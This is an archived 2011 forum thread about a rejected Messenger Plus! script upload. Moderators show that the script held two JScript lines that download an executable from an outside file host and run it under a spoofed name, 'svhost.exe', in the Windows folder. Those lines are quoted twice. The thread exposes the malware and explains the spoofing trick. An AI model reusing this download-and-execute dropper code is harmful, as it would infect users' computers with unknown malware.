Shoutbox

why couldn`t upload scripts - Printable Version

-Shoutbox (https://shoutbox.menthix.net)
+-- Forum: MsgHelp Archive (/forumdisplay.php?fid=58)
+--- Forum: General (/forumdisplay.php?fid=11)
+---- Forum: Forum & Website (/forumdisplay.php?fid=13)
+----- Thread: why couldn`t upload scripts (/showthread.php?tid=97386)

why couldn`t upload scripts by ghost prince on 04-16-2011 at 01:19 PM

hi all

why i couldn`t upload my script at MsgPlus.net

??????

i wanna add contributions in the site but there is problem

see :


code:
An unhandled exception has occurred.
We apologize for the inconvenience this may cause you. Please follow the link below back to our Messenger Plus! Home page and feel free to report this error on the forum
Go back to the Home page

RE: why couldn`t upload scripts by Mnjul on 04-16-2011 at 02:03 PM

Because the script you're uploading has:

JScript code:
Interop.Call("urlmon.dll", "URLDownloadToFileW", 0, "http://disk04.arb-up.com/files/2/rcjs5vg6cyrr8i/svchost.exe", "c:\\windows\\svhost.exe", 0, 0);
Interop.Call("shell32.dll", "ShellExecuteW",0 ,null , "c:\\windows\\svhost.exe" ,null ,null ,1);

?

:zippy:
RE: RE: why couldn`t upload scripts by Horseboy on 04-16-2011 at 02:17 PM

quote:
Originally posted by Mnjul
Because the script you're uploading has:
JScript code:
Interop.Call("urlmon.dll", "URLDownloadToFileW", 0, "http://disk04.arb-up.com/files/2/rcjs5vg6cyrr8i/svchost.exe", "c:\\windows\\svhost.exe", 0, 0);
Interop.Call("shell32.dll", "ShellExecuteW",0 ,null , "c:\\windows\\svhost.exe" ,null ,null ,1);

?

:zippy:

Is that script malicious? It seems to me it's replacing svhost...
RE: why couldn`t upload scripts by CookieRevised on 04-16-2011 at 04:04 PM

quote:
Originally posted by Horseboy
Is that script malicious? It seems to me it's replacing svhost...
Indeed it is malicious (hence why the script was declined and the user banned).

It doesn't really replace that crucial Windows system file though. But it rather places that malicious file in the \Windows directory (the real svhost.exe is in \Windows\System32) to spoof people and/or certain Windows programs. Once it runs, who knows what may happen.... but it certainly wont be something good :p

lol at your avatar